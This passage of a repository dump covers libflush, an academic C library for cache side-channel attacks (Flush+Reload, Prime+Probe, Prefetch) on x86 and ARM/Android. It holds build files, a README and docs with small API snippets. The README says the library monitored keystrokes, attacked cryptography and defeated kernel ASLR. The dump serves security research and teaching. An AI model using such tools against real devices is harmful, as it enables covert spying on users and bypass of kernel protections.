238 | $(call colorecho,INSTALL,"Install header files") 239 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${INCLUDEDIR}/${PROJECT} 240 | $(QUIET)for header in ${HEADERS_INSTALL}; do \ 241 | mkdir -m 755 -p ${DESTDIR}${INCLUDEDIR}/`dirname $$header`; \ 242 | install -m 644 $$header ${DESTDIR}${INCLUDEDIR}/$$header; \ 243 | done 244 | 245 | uninstall: uninstall-headers 246 | $(call colorecho,UNINSTALL,"Remove library files") 247 | $(QUIET)rm -f ${LIBDIR}/${PROJECT}.a ${LIBDIR}/${PROJECT}.so.${SOVERSION} \ 248 | ${LIBDIR}/${PROJECT}.so.${SOMAJOR} ${LIBDIR}/${PROJECT}.so 249 | 250 | uninstall-headers: 251 | $(call colorecho,UNINSTALL,"Remove header files") 252 | $(QUIET)rm -rf ${INCLUDEDIR}/${PROJECT} 253 | $(call colorecho,UNINSTALL,"Remove pkg-config file") 254 | $(QUIET)rm -f ${LIBDIR}/pkgconfig/${PROJECT}.pc 255 | 256 | .PHONY: all options clean debug test dist install install-headers \ 257 | uninstall ninstall-headers ${PROJECT} ${PROJECT}-debug static shared \ 258 | install-static install-shared 259 | 260 | DEPENDS = ${DEPENDDIRS:^=${DEPENDDIR}/}$(addprefix ${DEPENDDIR}/,${OBJECTS:.o=.o.dep}) 261 | -include ${DEPENDS} 262 | -------------------------------------------------------------------------------- /libflush/README.md: -------------------------------------------------------------------------------- 1 | # libflush 2 | 3 | libflush is a library to launch cache attacks on x86 as well as ARMv7 and ARMv8 architecture. It allows to easily implement attacks based on [Prime+Probe](https://eprint.iacr.org/2005/271.pdf), [Flush+Reload](https://eprint.iacr.org/2013/448.pdf), [Evict+Reload](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-gruss.pdf), [Flush+Flush](http://arxiv.org/abs/1511.04594) and [Prefetch]() attack techniques and thus offers a great playground for research and education purposes. 4 | 5 | We have developed this library in the [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper and used it to build covert-channels that outperform state-of-the-art covert channels on Android by several orders of magnitude. We utilized it to implement [cache template attacks](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-gruss.pdf) that monitor tap and swipe events as well as keystrokes, and even derive the words entered on the touchscreen. Moreover, we used it to attack cryptographic primitives in Java and to monitor cache activity in the ARM TrustZone from the normal world. With the [Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR]() paper we have extended the library to support prefetch attack techniques to obtain address information that can be used to defeat SMAP, SMEP and kernel ASLR. 6 | 7 | The [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper by Lipp, Gruss, Spreitzer, Maurice and Mangard will be published at the Usenix Security Symposium 2016. The 8 | [Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR]() paper by Gruss, Fogh, Maurice, Lipp and Mangard will be published at ACM Conference on Computer and Communications Security 2016. 9 | 10 | 11 | ## Table of content 12 | 13 | - [Installation](#installation) 14 | - [Dependencies](#dependencies) 15 | - [Build Configuration](#build-configuration) 16 | - [Advanced Configuration](#advanced-configuration) 17 | - [Eviction strategy](#eviction-strategy) 18 | - [Timing measurements](#timing-measurements) 19 | - [Usage](#usage) 20 | - [Initialization and termination](#initialization) 21 | - [Flush or evict an address](#flush-or-evict-an-address) 22 | - [Get timing information](#timing-information) 23 | - [Example](#example) 24 | - [License](#license) 25 | - [References](#references) 26 | 27 | ## Installation 28 | 29 | The library is shipped with a Makefile and can be compiled by running: 30 | ```bash 31 | make 32 | ``` 33 | 34 | The necessary header files and the shared and static build library can be installed on the host system: 35 | ```bash 36 | make install 37 | ``` 38 | 39 | In addition we provide a debug build that can be initiated by calling `make debug` as well as a simple test suite that can be run by calling `make test`. Code coverage of the test suite can be determined by running `make gcov`. Additional documentation can be build with the `make doc` target. 40 | 41 | Additionally we provide an `Android.mk` and an `Application.mk` file that can be 42 | used to build the library with the [Android NDK](https://developer.android.com/ndk/index.html) toolset: 43 | 44 | ```bash 45 | ndk-build NDK_APPLICATION_MK=`pwd`/Application.mk NDK_PROJECT_PATH=`pwd` 46 | ``` 47 | 48 | ### Dependencies 49 | libflush does not require any dependencies except for running the test suite. 50 | However, by default it uses the toolchains provided by the Android NDK if built 51 | for _armv7_ or _armv8_. 52 | 53 | * [Android NDK](https://developer.android.com/ndk/index.html) - Android Native 54 | Development Kit (optional, for ARM builds) 55 | * [check](https://libcheck.github.io/check/) - Unit Testing Framework for C (optional, for test cases) 56 | * [libfiu](https://blitiri.com.ar/p/libfiu/) - Fault injection in userspace (optional, for test cases) 57 | * [doxygen](www.doxygen.org) (optional, for HTML documentation) 58 | * [Sphinx](http://www.sphinx-doc.org) (optional, for HTML documentation) 59 | * [sphinx_rtd_theme](https://github.com/snide/sphinx_rtd_theme) (optional, for HTML documentation) 60 | * [breathe](https://github.com/michaeljones/breathe) (optional, for HTML documentation) 61 | 62 | ## Build Configuration 63 | 64 | The build system makes use of several configuration files. The parameters can be adjusted by modifying the files accordingly or by passing them to make (`make ARCH=x86`). The most important properties are the following: 65 | 66 | * `ARCH`: Defines the target architecture. 67 | * _x86_ (default) - Support for _i386_ and _x86_64_ 68 | * _armv7_ - Support for ARMv7 69 | * _armv8_ - Support for ARMv8 70 | * `USE_EVICTION`: Use eviction instead of flush instruction in flush based functions. Required for devices that do not expose a flush instruction (default: 0, enabled by default for _armv7_ architecture). 71 | * `DEVICE_CONFIGURATION`: Defines cache and eviction based properties for the target device if eviction is used. See [libflush/eviction/strategies](libflush/eviction/strategies) for example device configurations. 72 | * _default_ (default) - Default device configuration. 73 | * _alto45_ - Alcatel OneTouch POP 2 74 | * _bacon_ - OnePlus One 75 | * _mako_ - Nexus 4 76 | * _hammerhead_ - Nexus 5 77 | * _tilapia_ - Nexus 7 78 | * _manta_ - Nexus 10 79 | * _zeroflte_ - Samsung Galaxy S6 80 | * `TIME_SOURCE`: Gives the possibility to use different timing sources to measure the 81 | execution time. Depending on the available privileges, one might want to change 82 | the timing source. 83 | * _register_ - Performance register / Time-stamp counter (default) 84 | * _perf_ - Perf interface 85 | * _monotonic_clock_ - Monotonic clock 86 | * _thread_counter_ - Dedicated thread counter 87 | * `WITH_PTHREAD`: Build with pthread support. 88 | * `HAVE_PAGEMAP_ACCESS`: Defines if access to _/proc/self/pagemap_ is granted. 89 | 90 | If the library is build for the ARMv7 or the ARMv8 architecture the build system uses the [config-arm.mk](config-arm.mk) or [config-arm64.mk](config-arm64.mk) configuration file. By default the build system makes use of the toolchains provided by the [Android NDK](https://developer.android.com/ndk/index.html), thus its possible that the installation path of the NDK needs to be modified: 91 | 92 | * `ANDROID_NDK_PATH`: Path to the installation of the Android NDK. 93 | * _/opt/android-ndk_ (default) 94 | * `ANDROID_PLATFORM`: Defines the used Android platform that is used. 95 | * _android-21_ (default) 96 | 97 | If you prefer to use a different toolchain/compiler, feel free to change `CC` and other properties accordingly. 98 | 99 | ## Advanced Configuration 100 | 101 | ### Eviction strategy 102 | If eviction is used, libflush uses the parameters defined by the `DEVICE_CONFIGURATION`. The device configuration is represented by a header file in [libflush/eviction/strategies](libflush/eviction/strategies) and is structured as the following: 103 | 104 | **Cache specific configuration** 105 | * `NUMBER_OF_SETS`: The number of sets in the cache 106 | * `LINE_LENGTH`: The line length 107 | * `LINE_LENGTH_LOG2`: The log base 2 of the line length 108 | 109 | **Eviction strategy configuration** 110 | * `ES_EVICTION_COUNTER`: Length of the loop 111 | * `ES_NUMBER_OF_ACCESSES_IN_LOOP`: Number of accesses of an address in one loop round 112 | * `ES_DIFFERENT_ADDRESSES_IN_LOOP`: Number of different addresses in one loop round 113 | 114 | ## Usage 115 | The following sections illustrate the usage of libflush. For a complete overview 116 | of the available functions please refer to the source code or to the 117 | documentation that can be build. 118 | 119 | ### Initialization and termination 120 | 121 | In order to use libflush one needs to include the header file and call the `libflush_init` to initialize 122 | the library. In the end `libflush_terminate` needs to be called to clean-up. 123 | ```c 124 | #include 125 | 126 | int main(int argc, char* argv[]) { 127 | // Initialize libflush 128 | libflush_session_t* libflush_session; 129 | if (libflush_init(&libflush_session, NULL) == false) { 130 | return -1; 131 | } 132 | 133 | // Use libflush... 134 | 135 | // Terminate libflush 136 | if (libflush_terminate(libflush_session) == false) { 137 | return -1; 138 | } 139 | 140 | return 0; 141 | } 142 | ``` 143 | and link against the library: 144 | ``` 145 | gcc example.c `pkg-config --libs libflush` 146 | ``` 147 | 148 | ### Flush or evict an address 149 | 150 | To evict an address from the cache to the main memory, a dedicated flush 151 | instruction (if available) or eviction can be used. 152 | 153 | ```c 154 | void* address = &foo; 155 | 156 | // Use the flush instruction (if possible) 157 | libflush_flush(libflush_session, address); 158 | 159 | // Use eviction 160 | libflush_evict(libflush_session, address); 161 | ``` 162 | 163 | ### Get timing information 164 | 165 | To retrieve a time stamp depending on the used time source can be achieved with 166 | the following function. 167 | 168 | ```c 169 | uint64 time = libflush_get_timing(libflush_session); 170 | ``` 171 | 172 | In addition wrapper functions to measure the 173 | execution time of different functions are given. 174 | 175 | ```c 176 | uint64 time = libflush_reload_address(libflush_session, address); 177 | ``` 178 | 179 | ## Example 180 | 181 | A more sophisticated example using libflush can be found in the [example](example) directory. It implements 182 | a calibration tool for the Flush+Reload, Prime+Probe, Evict+Reload, Flush+Flush and Prefetch attack. The example 183 | can be compiled by running `make example` and executed by running `./example/build//release/bin/example`. In addition the example can also be build with the `ndk-build` tool. 184 | 185 | ## License 186 | 187 | [Licensed](LICENSE) under the zlib license. 188 | 189 | ## References 190 | 191 | * [1] [ARMageddon: Cache Attacks on Mobile Devices - Lipp, Gruss, Spreitzer, Maurice, Mangard](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) 192 | * [2] [Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR - Gruss, Fogh, Maurice, Lipp, Mangard]() 193 | -------------------------------------------------------------------------------- /libflush/colors.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq ($(COLOR),1) 4 | # GCC diagnostics colors 5 | DIAGNOSTICS_COLOR_AVAILABLE ?= $(shell ($(CC) -fdiagnostics-color=always -E - /dev/null 2>/dev/null && echo 1) || echo 0) 6 | ifeq ($(DIAGNOSTICS_COLOR_AVAILABLE),1) 7 | CPPFLAGS += -fdiagnostics-color=always 8 | endif 9 | 10 | # colorful output 11 | TPUT ?= /usr/bin/tput 12 | TPUT_AVAILABLE ?= $(shell ${TPUT} -V 2>/dev/null) 13 | 14 | ifdef TPUT_AVAILABLE 15 | COLOR_NORMAL = `$(TPUT) sgr0` 16 | COLOR_ACTION = `$(TPUT) bold``$(TPUT) setaf 3` 17 | COLOR_COMMENT = `$(TPUT) bold``$(TPUT) setaf 2` 18 | COLOR_BRACKET = `$(TPUT) setaf 4` 19 | define colorecho 20 | @echo $(COLOR_BRACKET)" ["$(COLOR_ACTION)$1$(COLOR_BRACKET)"] "$(COLOR_COMMENT)$2$(COLOR_BRACKET) $(COLOR_NORMAL) 21 | endef 22 | else 23 | define colorecho 24 | @echo " [$1]" $2 25 | endef 26 | endif 27 | else 28 | define colorecho 29 | @echo " [$1]" $2 30 | endef 31 | endif 32 | -------------------------------------------------------------------------------- /libflush/common.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq "$(VERBOSE)" "0" 4 | ECHO=@echo 5 | QUIET=@ 6 | else 7 | ECHO=@\# 8 | QUIET= 9 | endif 10 | -------------------------------------------------------------------------------- /libflush/config-arm.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/arm-linux-androideabi-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} 15 | LDFLAGS += -fPIE 16 | -------------------------------------------------------------------------------- /libflush/config-arm64.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/aarch64-linux-android-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} -flto 15 | LDFLAGS += -fPIE -flto 16 | -------------------------------------------------------------------------------- /libflush/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | PROJECT = libflush 4 | ARCH = x86 5 | 6 | LIBFLUSH_VERSION_MAJOR = 0 7 | LIBFLUSH_VERSION_MINOR = 0 8 | LIBFLUSH_VERSION_REV = 1 9 | 10 | VERSION = ${LIBFLUSH_VERSION_MAJOR}.${LIBFLUSH_VERSION_MINOR}.${LIBFLUSH_VERSION_REV} 11 | 12 | # If the API changes, the API version and the ABI version have to be bumped. 13 | LIBFLUSH_VERSION_API = 1 14 | 15 | # If the ABI breaks for any reason, this has to be bumped. 16 | LIBFLUSH_VERSION_ABI = 1 17 | 18 | # Rules for the SOMAJOR and SOMINOR. 19 | # Before a release check perform the following checks against the last release: 20 | # * If a function has been removed or the paramaters of a function have changed 21 | # bump SOMAJOR and set SOMINOR to 0. 22 | # * If any of the exported datastructures have changed in a incompatible way 23 | # bump SOMAJOR and set SOMINOR to 0. 24 | # * If a function has been added bump SOMINOR. 25 | 26 | SOMAJOR = 1 27 | SOMINOR = 0 28 | SOVERSION = ${SOMAJOR}.${SOMINOR} 29 | 30 | # pkg-config binary 31 | PKG_CONFIG ?= pkg-config 32 | 33 | # paths 34 | PREFIX ?= /usr 35 | LIBDIR ?= ${PREFIX}/lib 36 | INCLUDEDIR ?= ${PREFIX}/include 37 | DEPENDDIR=.depend 38 | BUILDDIR ?= build/${ARCH} 39 | BUILDDIR_RELEASE ?= ${BUILDDIR}/release 40 | BUILDDIR_DEBUG ?= ${BUILDDIR}/debug 41 | BUILDDIR_GCOV ?= ${BUILDDIR}/gcov 42 | BINDIR ?= bin 43 | 44 | # libs 45 | FIU_INC ?= $(shell ${PKG_CONFIG} --cflags libfiu) 46 | FIU_LIB ?= $(shell ${PKG_CONFIG} --libs libfiu) -ldl 47 | 48 | INCS = 49 | LIBS = -lm 50 | 51 | # flags 52 | CFLAGS += -std=gnu11 -pedantic -Wall -Wextra -fPIC -O3 $(INCS) 53 | 54 | # linker flags 55 | LDFLAGS += -fPIC 56 | 57 | # debug 58 | DFLAGS = -O0 -g 59 | 60 | # compiler 61 | CC ?= gcc 62 | 63 | # archiver 64 | AR ?= ar 65 | 66 | # strip 67 | SFLAGS ?= -s 68 | 69 | # gcov & lcov 70 | GCOV_CFLAGS=-fprofile-arcs -ftest-coverage -fno-inline -fno-inline-small-functions -fno-default-inline 71 | GCOV_LDFLAGS=-fprofile-arcs 72 | LCOV_OUTPUT=gcov 73 | LCOV_EXEC=lcov 74 | LCOV_FLAGS=--base-directory . --directory ${BUILDDIR_GCOV} --capture --rc \ 75 | lcov_branch_coverage=1 --output-file ${BUILDDIR_GCOV}/$(PROJECT).info 76 | GENHTML_EXEC=genhtml 77 | GENHTML_FLAGS=--rc lcov_branch_coverage=1 --output-directory ${LCOV_OUTPUT} ${BUILDDIR_GCOV}/$(PROJECT).info 78 | 79 | # libfiu 80 | WITH_LIBFIU ?= 0 81 | FIU_RUN ?= fiu-run -x 82 | 83 | # set to something != 0 if you want verbose build output 84 | VERBOSE ?= 0 85 | 86 | # enable colors 87 | COLOR ?= 1 88 | 89 | # android 90 | ANDROID_PLATFORM ?= android-21 91 | 92 | # thread safe 93 | WITH_PTHREAD ?= 0 94 | 95 | # pagemap access 96 | HAVE_PAGEMAP_ACCESS ?= 1 97 | 98 | # time sources 99 | TIME_SOURCES = (register perf monotonic_clock thread_counter) 100 | TIME_SOURCE ?= register 101 | 102 | # use eviction instead of flush 103 | USE_EVICTION ?= 0 104 | 105 | # Define device 106 | DEVICE_CONFIGURATION ?= default 107 | -------------------------------------------------------------------------------- /libflush/doc/Doxyfile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | # General information 4 | PROJECT_NAME = libflush 5 | OUTPUT_DIRECTORY = ./_build/doxygen/ 6 | OUTPUT_LANGUAGE = English 7 | TAB_SIZE = 2 8 | EXTRACT_ALL = NO 9 | OPTIMIZE_OUTPUT_FOR_C = YES 10 | DOXYFILE_ENCODING = UTF-8 11 | TYPEDEF_HIDES_STRUCT = YES 12 | 13 | # Warning and progress messages 14 | QUIET = YES 15 | WARNINGS = YES 16 | WARN_IF_UNDOCUMENTED = YES 17 | 18 | # Input files 19 | INPUT = ../libflush 20 | FILE_PATTERNS = *.h *.c 21 | RECURSIVE = YES 22 | 23 | # Output files 24 | GENERATE_HTML = NO 25 | GENERATE_LATEX = NO 26 | GENERATE_RTF = NO 27 | GENERATE_XML = YES 28 | -------------------------------------------------------------------------------- /libflush/doc/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | # 3 | include ../config.mk 4 | include ../common.mk 5 | include ../colors.mk 6 | include config.mk 7 | 8 | DOXYGEN_SOURCES=$(wildcard ../libflush/*.h) Doxyfile 9 | HTML_SOURCES=$(wildcard *.rst) conf.py 10 | 11 | SPHINX_OPTS+=-d $(SPHINX_BUILDDIR)/doctrees 12 | 13 | ifeq ($(shell which $(SPHINX_BIN) >/dev/null 2>&1; echo $$?), 1) 14 | $(error The '$(SPHINX_BIN)' command was not found.) 15 | endif 16 | 17 | all: html 18 | 19 | clean: 20 | $(call colorecho,RM,"Clean documentation") 21 | $(QUIET)rm -rf $(SPHINX_BUILDDIR)/ 22 | 23 | $(SPHINX_BUILDDIR)/html/index.html: $(HTML_SOURCES) $(SPHINX_BUILDDIR)/doxygen/xml/index.xml 24 | $(call colorecho,DOC,"Build HTML documentation") 25 | $(QUIET)$(SPHINX_BIN) -b html $(SPHINX_OPTS) . $(SPHINX_BUILDDIR)/html 26 | 27 | $(SPHINX_BUILDDIR)/doxygen/xml/index.xml: $(DOXYGEN_SOURCES) 28 | $(QUIET)mkdir -p $(SPHINX_BUILDDIR) 29 | $(call colorecho,DOC,"Run doxygen") 30 | $(QUIET)$(DOXYGEN_BIN) Doxyfile 31 | 32 | # TODO: Make a better test for breathe and sphinx_rtd_theme 33 | ifeq ($(shell which $(DOXYGEN_BIN) >/dev/null 2>&1 && $(PYTHON_BIN) -c "import breathe; import sphinx_rtd_theme" >/dev/null 2>&1; echo $$?), 0) 34 | html: $(SPHINX_BUILDDIR)/html/index.html 35 | else 36 | html: 37 | endif 38 | 39 | .PHONY: clean html man all 40 | -------------------------------------------------------------------------------- /libflush/doc/api.rst: -------------------------------------------------------------------------------- 1 | API 2 | === 3 | 4 | .. doxygenfile:: libflush/libflush.h 5 | -------------------------------------------------------------------------------- /libflush/doc/conf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # 4 | # See LICENSE file for license and copyright information 5 | 6 | import sphinx_rtd_theme 7 | 8 | # -- General configuration ------------------------------------------------ 9 | 10 | extensions = [ 11 | 'sphinx.ext.todo', 12 | 'breathe' 13 | ] 14 | source_suffix = '.rst' 15 | master_doc = 'index' 16 | templates_path = ['_templates'] 17 | exclude_patterns = ['_build'] 18 | 19 | pygments_style = 'sphinx' 20 | 21 | 22 | # -- Project configuration ------------------------------------------------ 23 | 24 | project = 'libflush' 25 | copyright = '2015-2016' 26 | version = '0.0.0' 27 | release = '0.0.0' 28 | 29 | 30 | # -- Options for HTML output ---------------------------------------------- 31 | 32 | html_theme = 'sphinx_rtd_theme' 33 | html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] 34 | html_static_path = ['_static'] 35 | htmlhelp_basename = 'libflushdoc' 36 | 37 | 38 | # -- Options for breathe --------------------------------------- 39 | 40 | breathe_projects = { "libflush": "_build/doxygen/xml" } 41 | breathe_default_project = "libflush" 42 | breathe_build_directory = "_build" 43 | breathe_projects_source = { 44 | "libflush": "../" 45 | } 46 | breathe_domain_by_extension = { 47 | "h" : "c", 48 | "c" : "c" 49 | } 50 | -------------------------------------------------------------------------------- /libflush/doc/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | SPHINX_BIN ?= sphinx-build 4 | SPHINX_BUILDDIR = _build 5 | SPHINX_OPTS ?= 6 | DOXYGEN_BIN ?= doxygen 7 | # This needs to be the same python interpreter as used by sphinx-build 8 | PYTHON_BIN ?= python 9 | -------------------------------------------------------------------------------- /libflush/doc/example.rst: -------------------------------------------------------------------------------- 1 | Example 2 | ======= 3 | 4 | A more sophisticated example using libflush can be found in the 5 | `example `__ directory. It implements a calibration tool for 6 | the Flush+Reload, Prime+Probe, Evict+Reload, Flush+Flush and Prefetch 7 | attack. The example can be compiled by running ``make example`` and 8 | executed by running ``./example/build//release/bin/example``. 9 | In addition the example can also be build with the ``ndk-build`` tool. 10 | 11 | .. literalinclude:: ../example/main.c 12 | :language: c 13 | :linenos: 14 | -------------------------------------------------------------------------------- /libflush/doc/index.rst: -------------------------------------------------------------------------------- 1 | libflush documentation 2 | ====================== 3 | 4 | libflush is a library to launch cache attacks on x86 as well as ARMv7 and ARMv8 architecture. It allows to easily implement attacks based on `Prime+Probe `_, `Flush+Reload `_, `Evict+Reload `_, `Flush+Flush `_ and `Prefetch `_ attack techniques and thus offers a great playground for research and education purposes. 5 | 6 | We have developed this library in the `ARMageddon: Cache Attacks on Mobile Devices `_ paper and used it to build covert-channels that outperform state-of-the-art covert channels on Android by several orders of magnitude. We utilized it to implement `cache template attacks `_ that monitor tap and swipe events as well as keystrokes, and even derive the words entered on the touchscreen. Moreover, we used it to attack cryptographic primitives in Java and to monitor cache activity in the ARM TrustZone from the normal world. With the `Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR `_ paper we have extended the library to support prefetch attack techniques to obtain address information that can be used to defeat SMAP, SMEP and kernel ASLR. 7 | 8 | The `ARMageddon: Cache Attacks on Mobile Devices `_ paper by Lipp, Gruss, Spreitzer, Maurice and Mangard will be published at the Usenix Security Symposium 2016. The 9 | `Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR `_ paper by Gruss, Fogh, Maurice, Lipp and Mangard will be published at ACM Conference on Computer and Communications Security 2016. 10 | 11 | .. toctree:: 12 | :maxdepth: 2 13 | :numbered: 14 | 15 | installation 16 | usage 17 | example 18 | api 19 | -------------------------------------------------------------------------------- /libflush/doc/installation.rst: -------------------------------------------------------------------------------- 1 | Installation 2 | ============ 3 | 4 | The library is shipped with a Makefile and can be compiled by running: 5 | 6 | .. code-block:: sh 7 | 8 | make 9 | 10 | The necessary header files and the shared and static build library can 11 | be installed on the host system: 12 | 13 | .. code-block:: sh 14 | 15 | make install 16 | 17 | In addition we provide a debug build that can be initiated by calling 18 | ``make debug`` as well as a simple test suite that can be run by calling 19 | ``make test``. Code coverage of the test suite can be determined by 20 | running ``make gcov``. 21 | 22 | Additionally we provide an ``Android.mk`` and an ``Application.mk`` file 23 | that can be used to build the library with the `Android 24 | NDK `__ toolset: 25 | 26 | .. code-block:: sh 27 | 28 | ndk-build NDK_APPLICATION_MK=`pwd`/Application.mk NDK_PROJECT_PATH=`pwd` 29 | 30 | Dependencies 31 | ~~~~~~~~~~~~ 32 | 33 | libflush does not require any dependencies except for running the test suite or 34 | building the documentation. However, by default it uses the toolchains provided 35 | by the Android NDK if built for *armv7* or *armv8*. 36 | 37 | - `Android NDK `__ - 38 | Android Native Development Kit (optional for ARM builds) 39 | - `check `__ - Unit Testing 40 | Framework for C (optional for test cases) 41 | - `libfiu `__ - Fault injection in 42 | userspace (optional for test cases) 43 | - `doxygen `__ (optional, for HTML documentation) 44 | - `Sphinx `__ (optional, for HTML 45 | documentation) 46 | - `sphinx\_rtd\_theme `__ 47 | (optional, for HTML documentation) 48 | - `breathe `__ (optional, for 49 | HTML documentation) 50 | 51 | Build Configuration 52 | ------------------- 53 | 54 | The build system makes use of several configuration files. The 55 | parameters can be adjusted by modifying the files accordingly or by 56 | passing them to make (``make ARCH=x86``). The most important properties 57 | are the following: 58 | 59 | - ``ARCH``: Defines the target architecture. 60 | 61 | - *x86* (default) - Support for *i386* and *x86\_64* 62 | - *armv7* - Support for ARMv7 63 | - *armv8* - Support for ARMv8 64 | 65 | - ``USE_EVICTION``: Use eviction instead of flush instruction in flush 66 | based functions. Required for devices that do not expose a flush 67 | instruction. (default: 0, enabled by default for _armv7_ architecture) 68 | - ``DEVICE_CONFIGURATION``: Defines cache and eviction based properties 69 | for the target device if eviction is used. See 70 | *libflush/eviction/strategies* for 71 | example device configurations. 72 | 73 | - *default* (default) - Default device configuration. 74 | - *alto45* - Alcatel OneTouch POP 2 75 | - *bacon* - OnePlus One 76 | - *mako* - Nexus 4 77 | - *hammerhead* - Nexus 5 78 | - *tilapia* - Nexus 7 79 | - *manta* - Nexus 10 80 | - *zeroflte* - Samsung Galaxy S6 81 | 82 | - ``TIME_SOURCE``: Gives the possibility to use different timing 83 | sources to measure the execution time. Depending on the available 84 | privileges, one might want to change the timing source. 85 | 86 | - *register* - Performance register / Time-stamp counter (default) 87 | - *perf* - Perf interface 88 | - *monotonic\_clock* - Monotonic clock 89 | - *thread\_counter* - Dedicated thread counter 90 | 91 | - ``WITH_PTHREAD``: Build with pthread support. 92 | - ``HAVE_PAGEMAP_ACCESS``: Defines if access to */proc/self/pagemap* is 93 | granted. 94 | 95 | If the library is build for the ARMv7 or the ARMv8 architecture the 96 | build system uses the ``config-arm.mk`` or 97 | ``config-arm64.mk`` configuration file. By default the 98 | build system makes use of the toolchains provided by the `Android 99 | NDK `__, thus its possible 100 | that the installation path of the NDK needs to be modified: 101 | 102 | - ``ANDROID_NDK_PATH``: Path to the installation of the Android NDK. 103 | 104 | - */opt/android-ndk* (default) 105 | 106 | - ``ANDROID_PLATFORM``: Defines the used Android platform that is used. 107 | 108 | - *android-21* (default) 109 | 110 | If you prefer to use a different toolchain/compiler, feel free to change 111 | ``CC`` and other properties accordingly. 112 | 113 | Advanced Configuration 114 | ---------------------- 115 | 116 | Eviction strategy 117 | ^^^^^^^^^^^^^^^^^ 118 | 119 | If eviction is used, libflush uses the parameters defined by the 120 | ``DEVICE_CONFIGURATION``. The device configuration is represented by a header 121 | file in *libflush/eviction/strategies* and is structured as the following: 122 | 123 | **Cache specific configuration** 124 | 125 | - ``NUMBER_OF_SETS``: The number of sets in the cache 126 | - ``LINE_LENGTH``: The line length 127 | - ``LINE_LENGTH_LOG2``: The log base 2 of the line length 128 | 129 | **Eviction strategy configuration** 130 | 131 | - ``ES_EVICTION_COUNTER``: Length of the loop 132 | - ``ES_NUMBER_OF_ACCESSES_IN_LOOP``: Number of accesses of an address in one loop round 133 | - ``ES_DIFFERENT_ADDRESSES_IN_LOOP``: Number of different addresses in one loop round 134 | -------------------------------------------------------------------------------- /libflush/doc/requirements.txt: -------------------------------------------------------------------------------- 1 | alabaster==0.7.9 2 | Babel==2.3.4 3 | breathe==4.2.0 4 | docutils==0.12 5 | imagesize==0.7.1 6 | Jinja2==2.8 7 | MarkupSafe==0.19 8 | Pygments==2.1.3 9 | pytz==2016.6.1 10 | six==1.10.0 11 | snowballstemmer==1.2.1 12 | Sphinx==1.4.5 13 | sphinx-rtd-theme==0.1.9 14 | -------------------------------------------------------------------------------- /libflush/doc/usage.rst: -------------------------------------------------------------------------------- 1 | Usage 2 | ===== 3 | 4 | The following sections illustrate the usage of libflush. For a complete overview 5 | of the available functions please refer to the :doc:`api`. 6 | 7 | Initialization and termination 8 | ------------------------------ 9 | 10 | In order to use libflush one needs to include the header file and call 11 | the ``libflush_init`` to initialize the library. In the end 12 | ``libflush_terminate`` needs to be called to clean-up. 13 | 14 | .. code-block:: c 15 | 16 | #include 17 | 18 | int main(int argc, char* argv[]) { 19 | // Initialize libflush 20 | libflush_session_t* libflush_session; 21 | if (libflush_init(&libflush_session, NULL) == false) { 22 | return -1; 23 | } 24 | 25 | // Use libflush... 26 | 27 | // Terminate libflush 28 | if (libflush_terminate(libflush_session) == false) { 29 | return -1; 30 | } 31 | 32 | return 0; 33 | } 34 | 35 | and link against the library: 36 | 37 | :: 38 | 39 | gcc example.c `pkg-config --libs 